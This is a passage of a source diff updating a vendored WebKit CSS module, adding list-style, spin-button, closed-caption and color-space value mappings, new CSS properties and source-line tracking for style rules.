         case ListboxPart:
             m_value.ident = CSSValueListbox;
             break;
@@ -229,6 +233,9 @@ template<> inline CSSPrimitiveValue::CSSPrimitiveValue(ControlPart e)
         case MediaReturnToRealtimeButtonPart:
             m_value.ident = CSSValueMediaReturnToRealtimeButton;
             break;
+        case MediaToggleClosedCaptionsButtonPart:
+            m_value.ident = CSSValueMediaToggleClosedCaptionsButton;
+            break;
         case MediaSliderPart:
             m_value.ident = CSSValueMediaSlider;
             break;
@@ -265,6 +272,14 @@ template<> inline CSSPrimitiveValue::CSSPrimitiveValue(ControlPart e)
         case MenulistTextFieldPart:
             m_value.ident = CSSValueMenulistTextfield;
             break;
+        case OuterSpinButtonPart:
+            m_value.ident = CSSValueOuterSpinButton;
+            break;
+        case ProgressBarPart:
+#if ENABLE(PROGRESS_BAR)
+            m_value.ident = CSSValueProgressBar;
+#endif
+            break;
         case SliderHorizontalPart:
             m_value.ident = CSSValueSliderHorizontal;
             break;
@@ -926,69 +941,237 @@ template<> inline CSSPrimitiveValue::CSSPrimitiveValue(EListStyleType e)
     : m_type(CSS_IDENT)
 {
     switch (e) {
-        case LNONE:
-            m_value.ident = CSSValueNone;
-            break;
-        case DISC:
-            m_value.ident = CSSValueDisc;
-            break;
-        case CIRCLE:
-            m_value.ident = CSSValueCircle;
-            break;
-        case SQUARE:
-            m_value.ident = CSSValueSquare;
-            break;
-        case LDECIMAL:
-            m_value.ident = CSSValueDecimal;
-            break;
-        case DECIMAL_LEADING_ZERO:
-            m_value.ident = CSSValueDecimalLeadingZero;
-            break;
-        case LOWER_ROMAN:
-            m_value.ident = CSSValueLowerRoman;
-            break;
-        case UPPER_ROMAN:
-            m_value.ident = CSSValueUpperRoman;
-            break;
-        case LOWER_GREEK:
-            m_value.ident = CSSValueLowerGreek;
-            break;
-        case LOWER_ALPHA:
-            m_value.ident = CSSValueLowerAlpha;
-            break;
-        case LOWER_LATIN:
-            m_value.ident = CSSValueLowerLatin;
-            break;
-        case UPPER_ALPHA:
-            m_value.ident = CSSValueUpperAlpha;
-            break;
-        case UPPER_LATIN:
-            m_value.ident = CSSValueUpperLatin;
-            break;
-        case HEBREW:
-            m_value.ident = CSSValueHebrew;
-            break;
-        case ARMENIAN:
-            m_value.ident = CSSValueArmenian;
-            break;
-        case GEORGIAN:
-            m_value.ident = CSSValueGeorgian;
-            break;
-        case CJK_IDEOGRAPHIC:
-            m_value.ident = CSSValueCjkIdeographic;
-            break;
-        case HIRAGANA:
-            m_value.ident = CSSValueHiragana;
-            break;
-        case KATAKANA:
-            m_value.ident = CSSValueKatakana;
-            break;
-        case HIRAGANA_IROHA:
-            m_value.ident = CSSValueHiraganaIroha;
-            break;
-        case KATAKANA_IROHA:
-            m_value.ident = CSSValueKatakanaIroha;
-            break;
+    case Afar:
+        m_value.ident = CSSValueAfar;
+        break;
+    case Amharic:
+        m_value.ident = CSSValueAmharic;
+        break;
+    case AmharicAbegede:
+        m_value.ident = CSSValueAmharicAbegede;
+        break;
+    case ArabicIndic:
+        m_value.ident = CSSValueArabicIndic;
+        break;
+    case Armenian:
+        m_value.ident = CSSValueArmenian;
+        break;
+    case BinaryListStyle:
+        m_value.ident = CSSValueBinary;
+        break;
+    case Bengali:
+        m_value.ident = CSSValueBengali;
+        break;
+    case Cambodian:
+        m_value.ident = CSSValueCambodian;
+        break;
+    case Circle:
+        m_value.ident = CSSValueCircle;
+        break;
+    case CjkEarthlyBranch:
+        m_value.ident = CSSValueCjkEarthlyBranch;
+        break;
+    case CjkHeavenlyStem:
+        m_value.ident = CSSValueCjkHeavenlyStem;
+        break;
+    case CJKIdeographic:
+        m_value.ident = CSSValueCjkIdeographic;
+        break;
+    case DecimalLeadingZero:
+        m_value.ident = CSSValueDecimalLeadingZero;
+        break;
+    case DecimalListStyle:
+        m_value.ident = CSSValueDecimal;
+        break;
+    case Devanagari:
+        m_value.ident = CSSValueDevanagari;
+        break;
+    case Disc:
+        m_value.ident = CSSValueDisc;
+        break;
+    case Ethiopic:
+        m_value.ident = CSSValueEthiopic;
+        break;
+    case EthiopicAbegede:
+        m_value.ident = CSSValueEthiopicAbegede;
+        break;
+    case EthiopicAbegedeAmEt:
+        m_value.ident = CSSValueEthiopicAbegedeAmEt;
+        break;
+    case EthiopicAbegedeGez:
+        m_value.ident = CSSValueEthiopicAbegedeGez;
+        break;
+    case EthiopicAbegedeTiEr:
+        m_value.ident = CSSValueEthiopicAbegedeTiEr;
+        break;
+    case EthiopicAbegedeTiEt:
+        m_value.ident = CSSValueEthiopicAbegedeTiEt;
+        break;
+    case EthiopicHalehameAaEr:
+        m_value.ident = CSSValueEthiopicHalehameAaEr;
+        break;
+    case EthiopicHalehameAaEt:
+        m_value.ident = CSSValueEthiopicHalehameAaEt;
+        break;
+    case EthiopicHalehameAmEt:
+        m_value.ident = CSSValueEthiopicHalehameAmEt;
+        break;
+    case EthiopicHalehameGez:
+        m_value.ident = CSSValueEthiopicHalehameGez;
+        break;
+    case EthiopicHalehameOmEt:
+        m_value.ident = CSSValueEthiopicHalehameOmEt;
+        break;
+    case EthiopicHalehameSidEt:
+        m_value.ident = CSSValueEthiopicHalehameSidEt;
+        break;
+    case EthiopicHalehameSoEt:
+        m_value.ident = CSSValueEthiopicHalehameSoEt;
+        break;
+    case EthiopicHalehameTiEr:
+        m_value.ident = CSSValueEthiopicHalehameTiEr;
+        break;
+    case EthiopicHalehameTiEt:
+        m_value.ident = CSSValueEthiopicHalehameTiEt;
+        break;
+    case EthiopicHalehameTig:
+        m_value.ident = CSSValueEthiopicHalehameTig;
+        break;
+    case Georgian:
+        m_value.ident = CSSValueGeorgian;
+        break;
+    case Gujarati:
+        m_value.ident = CSSValueGujarati;
+        break;
+    case Gurmukhi:
+        m_value.ident = CSSValueGurmukhi;
+        break;
+    case Hangul:
+        m_value.ident = CSSValueHangul;
+        break;
+    case HangulConsonant:
+        m_value.ident = CSSValueHangulConsonant;
+        break;
+    case Hebrew:
+        m_value.ident = CSSValueHebrew;
+        break;
+    case Hiragana:
+        m_value.ident = CSSValueHiragana;
+        break;
+    case HiraganaIroha:
+        m_value.ident = CSSValueHiraganaIroha;
+        break;
+    case Kannada:
+        m_value.ident = CSSValueKannada;
+        break;
+    case Katakana:
+        m_value.ident = CSSValueKatakana;
+        break;
+    case KatakanaIroha:
+        m_value.ident = CSSValueKatakanaIroha;
+        break;
+    case Khmer:
+        m_value.ident = CSSValueKhmer;
+        break;
+    case Lao:
+        m_value.ident = CSSValueLao;
+        break;
+    case LowerAlpha:
+        m_value.ident = CSSValueLowerAlpha;
+        break;
+    case LowerGreek:
+        m_value.ident = CSSValueLowerGreek;
+        break;
+    case LowerHexadecimal:
+        m_value.ident = CSSValueLowerHexadecimal;
+        break;
+    case LowerLatin:
+        m_value.ident = CSSValueLowerLatin;
+        break;
+    case LowerNorwegian:
+        m_value.ident = CSSValueLowerNorwegian;
+        break;
+    case LowerRoman:
+        m_value.ident = CSSValueLowerRoman;
+        break;
+    case Malayalam:
+        m_value.ident = CSSValueMalayalam;
+        break;
+    case Mongolian:
+        m_value.ident = CSSValueMongolian;
+        break;
+    case Myanmar:
+        m_value.ident = CSSValueMyanmar;
+        break;
+    case NoneListStyle:
+        m_value.ident = CSSValueNone;
+        break;
+    case Octal:
+        m_value.ident = CSSValueOctal;
+        break;
+    case Oriya:
+        m_value.ident = CSSValueOriya;
+        break;
+    case Oromo:
+        m_value.ident = CSSValueOromo;
+        break;
+    case Persian:
+        m_value.ident = CSSValuePersian;
+        break;
+    case Sidama:
+        m_value.ident = CSSValueSidama;
+        break;
+    case Somali:
+        m_value.ident = CSSValueSomali;
+        break;
+    case Square:
+        m_value.ident = CSSValueSquare;
+        break;
+    case Telugu:
+        m_value.ident = CSSValueTelugu;
+        break;
+    case Thai:
+        m_value.ident = CSSValueThai;
+        break;
+    case Tibetan:
+        m_value.ident = CSSValueTibetan;
+        break;
+    case Tigre:
+        m_value.ident = CSSValueTigre;
+        break;
+    case TigrinyaEr:
+        m_value.ident = CSSValueTigrinyaEr;
+        break;
+    case TigrinyaErAbegede:
+        m_value.ident = CSSValueTigrinyaErAbegede;
+        break;
+    case TigrinyaEt:
+        m_value.ident = CSSValueTigrinyaEt;
+        break;
+    case TigrinyaEtAbegede:
+        m_value.ident = CSSValueTigrinyaEtAbegede;
+        break;
+    case UpperAlpha:
+        m_value.ident = CSSValueUpperAlpha;
+        break;
+    case UpperGreek:
+        m_value.ident = CSSValueUpperGreek;
+        break;
+    case UpperHexadecimal:
+        m_value.ident = CSSValueUpperHexadecimal;
+        break;
+    case UpperLatin:
+        m_value.ident = CSSValueUpperLatin;
+        break;
+    case UpperNorwegian:
+        m_value.ident = CSSValueUpperNorwegian;
+        break;
+    case UpperRoman:
+        m_value.ident = CSSValueUpperRoman;
+        break;
+    case Urdu:
+        m_value.ident = CSSValueUrdu;
+        break;
     }
 }
 
@@ -996,7 +1179,7 @@ template<> inline CSSPrimitiveValue::operator EListStyleType() const
 {
     switch (m_value.ident) {
         case CSSValueNone:
-            return LNONE;
+            return NoneListStyle;
         default:
             return static_cast<EListStyleType>(m_value.ident - CSSValueDisc);
     }
@@ -1881,6 +2064,32 @@ template<> inline CSSPrimitiveValue::operator TextRenderingMode() const
     }
 }
 
+template<> inline CSSPrimitiveValue::CSSPrimitiveValue(ColorSpace space)
+    : m_type(CSS_IDENT)
+{
+    switch (space) {
+        case DeviceColorSpace:
+            m_value.ident = CSSValueDefault;
+            break;
+        case sRGBColorSpace:
+            m_value.ident = CSSValueSrgb;
+            break;
+    }
+}
+
+template<> inline CSSPrimitiveValue::operator ColorSpace() const
+{
+    switch (m_value.ident) {
+        case CSSValueDefault:
+            return DeviceColorSpace;
+        case CSSValueSrgb:
+            return sRGBColorSpace;
+        default:
+            ASSERT_NOT_REACHED();
+            return DeviceColorSpace;
+    }
+}
+
 #if ENABLE(SVG)
 
 template<> inline CSSPrimitiveValue::CSSPrimitiveValue(LineCap e)
diff --git a/src/3rdparty/webkit/WebCore/css/CSSProperty.cpp b/src/3rdparty/webkit/WebCore/css/CSSProperty.cpp
index 9b21a3f..d7f2175 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSProperty.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSProperty.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * Copyright (C) 2004, 2005, 2006 Apple Computer, Inc.
  *
diff --git a/src/3rdparty/webkit/WebCore/css/CSSProperty.h b/src/3rdparty/webkit/WebCore/css/CSSProperty.h
index b5635d0..4505f33 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSProperty.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSProperty.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * Copyright (C) 2004, 2005, 2006 Apple Computer, Inc.
  *
diff --git a/src/3rdparty/webkit/WebCore/css/CSSPropertyNames.in b/src/3rdparty/webkit/WebCore/css/CSSPropertyNames.in
index 48a18e7..5f7b188 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSPropertyNames.in
+++ b/src/3rdparty/webkit/WebCore/css/CSSPropertyNames.in
@@ -151,6 +151,7 @@ zoom
 -webkit-animation-delay
 -webkit-animation-direction
 -webkit-animation-duration
+-webkit-animation-fill-mode
 -webkit-animation-iteration-count
 -webkit-animation-name
 -webkit-animation-play-state
@@ -185,6 +186,7 @@ zoom
 -webkit-box-reflect
 -webkit-box-shadow
 -webkit-box-sizing
+-webkit-color-correction
 -webkit-column-break-after
 -webkit-column-break-before
 -webkit-column-break-inside
diff --git a/src/3rdparty/webkit/WebCore/css/CSSRule.cpp b/src/3rdparty/webkit/WebCore/css/CSSRule.cpp
index 8fe4caf..43d8eac 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSRule.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSRule.cpp
@@ -22,7 +22,6 @@
 #include "config.h"
 #include "CSSRule.h"
 
-#include "CSSStyleSheet.h"
 #include "NotImplemented.h"
 
 namespace WebCore {
diff --git a/src/3rdparty/webkit/WebCore/css/CSSRule.idl b/src/3rdparty/webkit/WebCore/css/CSSRule.idl
index bc57e55..eaf1335 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSRule.idl
@@ -23,10 +23,7 @@ module css {
     // Introduced in DOM Level 2:
     interface [
         CustomToJS,
-        GenerateConstructor,
-        Polymorphic,
-        InterfaceUUID=548139b4-31ab-4978-b1d5-cfcfdfbaea0e,
-        ImplementationUUID=0268e673-2489-4743-9a3a-197dae4b4d9c
+        Polymorphic
     ] CSSRule {
 
         // RuleType
diff --git a/src/3rdparty/webkit/WebCore/css/CSSRuleList.cpp b/src/3rdparty/webkit/WebCore/css/CSSRuleList.cpp
index 4528d40..7367ab2 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSRuleList.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSRuleList.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * (C) 2002-2003 Dirk Mueller (mueller@kde.org)
  * Copyright (C) 2002, 2005, 2006 Apple Computer, Inc.
diff --git a/src/3rdparty/webkit/WebCore/css/CSSRuleList.h b/src/3rdparty/webkit/WebCore/css/CSSRuleList.h
index 26186b3..a355c4a 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSRuleList.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSRuleList.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * (C) 1999-2003 Lars Knoll (knoll@kde.org)
  * (C) 2002-2003 Dirk Mueller (mueller@kde.org)
  * Copyright (C) 2002, 2006 Apple Computer, Inc.
diff --git a/src/3rdparty/webkit/WebCore/css/CSSRuleList.idl b/src/3rdparty/webkit/WebCore/css/CSSRuleList.idl
index 9add078..e253287 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSRuleList.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSRuleList.idl
@@ -28,10 +28,7 @@ module css {
     // Introduced in DOM Level 2:
     interface [
         CustomMarkFunction,
-        GenerateConstructor,
-        HasIndexGetter,
-        InterfaceUUID=64c346a0-1e34-49d3-9472-57ec8e0fdccb,
-        ImplementationUUID=971a28e0-d0da-4570-9b71-e39fc2cf9a1b
+        HasIndexGetter
     ] CSSRuleList {
         readonly attribute unsigned long    length;
         CSSRule           item(in unsigned long index);
diff --git a/src/3rdparty/webkit/WebCore/css/CSSSelector.cpp b/src/3rdparty/webkit/WebCore/css/CSSSelector.cpp
index 313528f..453642a 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSSelector.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSSelector.cpp
@@ -99,6 +99,7 @@ void CSSSelector::extractPseudoType() const
     DEFINE_STATIC_LOCAL(AtomicString, focus, ("focus"));
     DEFINE_STATIC_LOCAL(AtomicString, hover, ("hover"));
     DEFINE_STATIC_LOCAL(AtomicString, indeterminate, ("indeterminate"));
+    DEFINE_STATIC_LOCAL(AtomicString, innerSpinButton, ("-webkit-inner-spin-button"));
 #if ENABLE(DATALIST)
     DEFINE_STATIC_LOCAL(AtomicString, inputListButton, ("-webkit-input-list-button"));
 #endif
@@ -116,6 +117,7 @@ void CSSSelector::extractPseudoType() const
     DEFINE_STATIC_LOCAL(AtomicString, mediaControlsSeekForwardButton, ("-webkit-media-controls-seek-forward-button"));
     DEFINE_STATIC_LOCAL(AtomicString, mediaControlsRewindButton, ("-webkit-media-controls-rewind-button"));
     DEFINE_STATIC_LOCAL(AtomicString, mediaControlsReturnToRealtimeButton, ("-webkit-media-controls-return-to-realtime-button"));
+    DEFINE_STATIC_LOCAL(AtomicString, mediaControlsToggleClosedCaptionsButton, ("-webkit-media-controls-toggle-closed-captions-button"));
     DEFINE_STATIC_LOCAL(AtomicString, mediaControlsStatusDisplay, ("-webkit-media-controls-status-display"));
     DEFINE_STATIC_LOCAL(AtomicString, mediaControlsFullscreenButton, ("-webkit-media-controls-fullscreen-button"));
     DEFINE_STATIC_LOCAL(AtomicString, mediaControlsTimelineContainer, ("-webkit-media-controls-timeline-container"));
@@ -126,6 +128,10 @@ void CSSSelector::extractPseudoType() const
     DEFINE_STATIC_LOCAL(AtomicString, onlyChild, ("only-child"));
     DEFINE_STATIC_LOCAL(AtomicString, onlyOfType, ("only-of-type"));
     DEFINE_STATIC_LOCAL(AtomicString, optional, ("optional"));
+    DEFINE_STATIC_LOCAL(AtomicString, outerSpinButton, ("-webkit-outer-spin-button"));
+#if ENABLE(PROGRESS_BAR)
+    DEFINE_STATIC_LOCAL(AtomicString, progressBar, ("-webkit-progress-bar"));
+#endif
     DEFINE_STATIC_LOCAL(AtomicString, required, ("required"));
     DEFINE_STATIC_LOCAL(AtomicString, resizer, ("-webkit-resizer"));
     DEFINE_STATIC_LOCAL(AtomicString, root, ("root"));
@@ -234,7 +240,10 @@ void CSSSelector::extractPseudoType() const
         m_pseudoType = PseudoHover;
     else if (m_value == indeterminate)
         m_pseudoType = PseudoIndeterminate;
-    else if (m_value == link)
+    else if (m_value == innerSpinButton) {
+        m_pseudoType = PseudoInnerSpinButton;
+        element = true;
+    } else if (m_value == link)
         m_pseudoType = PseudoLink;
     else if (m_value == lang)
         m_pseudoType = PseudoLang;
@@ -271,6 +280,9 @@ void CSSSelector::extractPseudoType() const
     } else if (m_value == mediaControlsReturnToRealtimeButton) {
         m_pseudoType = PseudoMediaControlsReturnToRealtimeButton;
         element = true;
+    } else if (m_value == mediaControlsToggleClosedCaptionsButton) {
+        m_pseudoType = PseudoMediaControlsToggleClosedCaptions;
+        element = true;
     } else if (m_value == mediaControlsStatusDisplay) {
         m_pseudoType = PseudoMediaControlsStatusDisplay;
         element = true;
@@ -293,7 +305,10 @@ void CSSSelector::extractPseudoType() const
         m_pseudoType = PseudoNthLastChild;
     else if (m_value == nthLastOfType)
         m_pseudoType = PseudoNthLastOfType;
-    else if (m_value == root)
+    else if (m_value == outerSpinButton) {
+        m_pseudoType = PseudoOuterSpinButton;
+        element = true;
+    } else if (m_value == root)
         m_pseudoType = PseudoRoot;
     else if (m_value == windowInactive)
         m_pseudoType = PseudoWindowInactive;
@@ -553,8 +568,8 @@ bool CSSSelector::matchNth(int count)
 
 // a helper function for parsing nth-arguments
 bool CSSSelector::RareData::parseNth()
-{    
-    const String& argument = m_argument;
+{
+    String argument = m_argument.lower();
     
     if (argument.isEmpty())
         return false;
diff --git a/src/3rdparty/webkit/WebCore/css/CSSSelector.h b/src/3rdparty/webkit/WebCore/css/CSSSelector.h
index 0c3b677..e54b5d5 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSSelector.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSSelector.h
@@ -1,6 +1,4 @@
 /*
- * This file is part of the CSS implementation for KDE.
- *
  * Copyright (C) 1999-2003 Lars Knoll (knoll@kde.org)
  *               1999 Waldo Bastian (bastian@kde.org)
  * Copyright (C) 2004, 2006, 2007, 2008 Apple Inc. All rights reserved.
@@ -176,6 +174,7 @@ namespace WebCore {
             PseudoMediaControlsVolumeSliderContainer,
             PseudoMediaControlsCurrentTimeDisplay,
             PseudoMediaControlsTimeRemainingDisplay,
+            PseudoMediaControlsToggleClosedCaptions,
             PseudoMediaControlsTimeline,
             PseudoMediaControlsVolumeSlider,
             PseudoMediaControlsSeekBackButton,
@@ -184,7 +183,9 @@ namespace WebCore {
             PseudoMediaControlsReturnToRealtimeButton,
             PseudoMediaControlsStatusDisplay,
             PseudoMediaControlsFullscreenButton,
-            PseudoInputListButton
+            PseudoInputListButton,
+            PseudoInnerSpinButton,
+            PseudoOuterSpinButton,
         };
 
         PseudoType pseudoType() const
@@ -211,6 +212,13 @@ namespace WebCore {
         bool parseNth();
         bool matchNth(int count);
 
+        bool matchesPseudoElement() const 
+        { 
+            if (m_pseudoType == PseudoUnknown)
+                extractPseudoType();
+            return m_match == PseudoElement;
+        }
+
         Relation relation() const { return static_cast<Relation>(m_relation); }
 
         bool isLastInSelectorList() const { return m_isLastInSelectorList; }
@@ -230,7 +238,7 @@ namespace WebCore {
 
         void extractPseudoType() const;
 
-        struct RareData {
+        struct RareData : Noncopyable {
             RareData(CSSSelector* tagHistory)
                 : m_tagHistory(tagHistory)
                 , m_simpleSelector(0)
diff --git a/src/3rdparty/webkit/WebCore/css/CSSStyleDeclaration.idl b/src/3rdparty/webkit/WebCore/css/CSSStyleDeclaration.idl
index 3e37418..297b732 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSStyleDeclaration.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSStyleDeclaration.idl
@@ -23,12 +23,9 @@ module css {
     // Introduced in DOM Level 2:
     interface [
         CustomMarkFunction,
-        GenerateConstructor,
         DelegatingPutFunction,
         HasNameGetter,
-        HasIndexGetter,
-        InterfaceUUID=9989b2c3-a2b6-449b-abf9-c60d2260b1d7,
-        ImplementationUUID=985c50c7-9f19-436a-9e45-c0aa02996d0e
+        HasIndexGetter
     ] CSSStyleDeclaration {
                  attribute [ConvertNullStringTo=Null, ConvertNullToNullString] DOMString        cssText
                      setter raises(DOMException);
@@ -44,7 +41,7 @@ module css {
             raises(DOMException);
 
         readonly attribute unsigned long    length;
-        [ConvertNullStringTo=Null] DOMString          item(in unsigned long index);
+        DOMString          item(in unsigned long index);
         readonly attribute CSSRule          parentRule;
 
         // Extensions
diff --git a/src/3rdparty/webkit/WebCore/css/CSSStyleRule.cpp b/src/3rdparty/webkit/WebCore/css/CSSStyleRule.cpp
index aaac254..1036e8f 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSStyleRule.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSStyleRule.cpp
@@ -27,8 +27,9 @@
 
 namespace WebCore {
 
-CSSStyleRule::CSSStyleRule(CSSStyleSheet* parent)
+CSSStyleRule::CSSStyleRule(CSSStyleSheet* parent, int sourceLine)
     : CSSRule(parent)
+    , m_sourceLine(sourceLine)
 {
 }
 
diff --git a/src/3rdparty/webkit/WebCore/css/CSSStyleRule.h b/src/3rdparty/webkit/WebCore/css/CSSStyleRule.h
index 23d8648..835f2a2 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSStyleRule.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSStyleRule.h
@@ -34,9 +34,9 @@ class CSSSelector;
 
 class CSSStyleRule : public CSSRule {
 public:
-    static PassRefPtr<CSSStyleRule> create(CSSStyleSheet* parent)
+    static PassRefPtr<CSSStyleRule> create(CSSStyleSheet* parent, int sourceLine)
     {
-        return adoptRef(new CSSStyleRule(parent));
+        return adoptRef(new CSSStyleRule(parent, sourceLine));
     }
     virtual ~CSSStyleRule();
 
@@ -58,8 +58,10 @@ public:
 
     virtual void addSubresourceStyleURLs(ListHashSet<KURL>& urls);
 
+    int sourceLine() { return m_sourceLine; }
+
 private:
-    CSSStyleRule(CSSStyleSheet* parent);
+    CSSStyleRule(CSSStyleSheet* parent, int sourceLine);
 
     virtual bool isStyleRule() { return true; }
 
@@ -68,6 +70,7 @@ private:
 
     RefPtr<CSSMutableStyleDeclaration> m_style;
     CSSSelectorList m_selectorList;
+    int m_sourceLine;
 };
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/css/CSSStyleRule.idl b/src/3rdparty/webkit/WebCore/css/CSSStyleRule.idl
index 0240dd0..862acd8 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSStyleRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSStyleRule.idl
@@ -21,11 +21,7 @@
 module css {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=ce4e3330-c40b-4430-8ed4-030ab4ddbc93,
-        ImplementationUUID=c3d2f1b8-3970-4b36-882e-ce7f5668d8e2
-    ] CSSStyleRule : CSSRule {
+    interface CSSStyleRule : CSSRule {
 
                  attribute [ConvertNullStringTo=Null, ConvertNullToNullString] DOMString selectorText
                      setter raises(DOMException);
diff --git a/src/3rdparty/webkit/WebCore/css/CSSStyleSelector.cpp b/src/3rdparty/webkit/WebCore/css/CSSStyleSelector.cpp
index 40627cf..fe64cc9 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSStyleSelector.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSStyleSelector.cpp
@@ -28,14 +28,11 @@
 
 #include "CSSBorderImageValue.h"
 #include "CSSCursorImageValue.h"
-#include "CSSFontFace.h"
 #include "CSSFontFaceRule.h"
-#include "CSSFontFaceSource.h"
 #include "CSSImportRule.h"
 #include "CSSMediaRule.h"
 #include "CSSParser.h"
 #include "CSSPrimitiveValueMappings.h"
-#include "CSSProperty.h"
 #include "CSSPropertyNames.h"
 #include "CSSReflectValue.h"
 #include "CSSRuleList.h"
@@ -61,6 +58,7 @@
 #include "HTMLInputElement.h"
 #include "HTMLNames.h"
 #include "HTMLTextAreaElement.h"
+#include "KeyframeList.h"
 #include "LinkHash.h"
 #include "MappedAttribute.h"
 #include "MatrixTransformOperation.h"
@@ -350,7 +348,7 @@ if (id == propID) { \
     return; \
 }
 
-class CSSRuleSet {
+class CSSRuleSet : public Noncopyable {
 public:
     CSSRuleSet();
     ~CSSRuleSet();
@@ -416,7 +414,7 @@ CSSStyleSelector::CSSStyleSelector(Document* doc, StyleSheetList* styleSheets, C
     , m_fontSelector(CSSFontSelector::create(doc))
 {
     init();
-
+        
     m_matchAuthorAndUserStyles = matchAuthorAndUserStyles;
     
     Element* root = doc->documentElement();
@@ -443,7 +441,7 @@ CSSStyleSelector::CSSStyleSelector(Document* doc, StyleSheetList* styleSheets, C
         m_medium = new MediaQueryEvaluator("all");
 
     if (root)
-        m_rootDefaultStyle = styleForElement(root, 0, false, true); // dont ref, because the RenderStyle is allocated from global heap
+        m_rootDefaultStyle = styleForElement(root, 0, false, true); // don't ref, because the RenderStyle is allocated from global heap
 
     if (m_rootDefaultStyle && view) {
         delete m_medium;
@@ -465,7 +463,7 @@ CSSStyleSelector::CSSStyleSelector(Document* doc, StyleSheetList* styleSheets, C
     // add stylesheets from document
     m_authorStyle = new CSSRuleSet();
     
-    // Add rules from elments like SVG's <font-face>
+    // Add rules from elements like SVG's <font-face>
     if (mappedElementSheet)
         m_authorStyle->addRulesFromSheet(mappedElementSheet, *m_medium, this);
 
@@ -475,6 +473,9 @@ CSSStyleSelector::CSSStyleSelector(Document* doc, StyleSheetList* styleSheets, C
         if (sheet->isCSSStyleSheet() && !sheet->disabled())
             m_authorStyle->addRulesFromSheet(static_cast<CSSStyleSheet*>(sheet), *m_medium, this);
     }
+    
+    if (doc->renderer() && doc->renderer()->style())
+        doc->renderer()->style()->font().update(fontSelector());
 }
 
 // This is a simplified style setting function for keyframe styles
@@ -662,7 +663,7 @@ void CSSStyleSelector::matchRules(CSSRuleSet* rules, int& firstRuleIndex, int& l
         matchRulesForList(rules->getIDRules(m_element->getIDAttribute().impl()), firstRuleIndex, lastRuleIndex);
     if (m_element->hasClass()) {
         ASSERT(m_styledElement);
-        const ClassNames& classNames = m_styledElement->classNames();
+        const SpaceSplitString& classNames = m_styledElement->classNames();
         size_t size = classNames.size();
         for (size_t i = 0; i < size; ++i)
             matchRulesForList(rules->getClassRules(classNames[i].impl()), firstRuleIndex, lastRuleIndex);
@@ -761,7 +762,7 @@ void CSSStyleSelector::sortMatchedRules(unsigned start, unsigned end)
         return;
     }
 
-    // Peform a merge sort for larger lists.
+    // Perform a merge sort for larger lists.
     unsigned mid = (start + end) / 2;
     sortMatchedRules(start, mid);
     sortMatchedRules(mid, end);
@@ -1003,9 +1004,15 @@ bool CSSStyleSelector::canShareStyleWithElement(Node* n)
 
                 if (s->isDefaultButtonForForm() != m_element->isDefaultButtonForForm())
                     return false;
-
-                if ((s->willValidate() && s->isValidFormControlElement()) !=
-                    (m_element->willValidate() && m_element->isValidFormControlElement()))
+                
+                if (!m_element->document()->containsValidityStyleRules())
+                    return false;
+                
+                bool willValidate = s->willValidate();
+                if (willValidate != m_element->willValidate())
+                    return false;
+                
+                if (willValidate && (s->isValidFormControlElement() != m_element->isValidFormControlElement()))
                     return false;
             }
 
@@ -1091,6 +1098,39 @@ void CSSStyleSelector::matchUARules(int& firstUARule, int& lastUARule)
     }
 }
 
+PassRefPtr<RenderStyle> CSSStyleSelector::styleForDocument(Document* document)
+{
+    RefPtr<RenderStyle> documentStyle = RenderStyle::create();
+    documentStyle->setDisplay(BLOCK);
+    documentStyle->setVisuallyOrdered(document->visuallyOrdered());
+    documentStyle->setZoom(document->frame()->pageZoomFactor());
+    
+    FontDescription fontDescription;
+    fontDescription.setUsePrinterFont(document->printing());
+    if (Settings* settings = document->settings()) {
+        fontDescription.setRenderingMode(settings->fontRenderingMode());
+        if (document->printing() && !settings->shouldPrintBackgrounds())
+            documentStyle->setForceBackgroundsToWhite(true);
+        const AtomicString& stdfont = settings->standardFontFamily();
+        if (!stdfont.isEmpty()) {
+            fontDescription.firstFamily().setFamily(stdfont);
+            fontDescription.firstFamily().appendFamily(0);
+        }
+        fontDescription.setKeywordSize(CSSValueMedium - CSSValueXxSmall + 1);
+        int size = CSSStyleSelector::fontSizeForKeyword(document, CSSValueMedium, false);
+        fontDescription.setSpecifiedSize(size);
+        bool useSVGZoomRules = document->isSVGDocument();
+        fontDescription.setComputedSize(CSSStyleSelector::getComputedSizeFromSpecifiedSize(document, documentStyle.get(), fontDescription.isAbsoluteSize(), size, useSVGZoomRules));
+    }
+
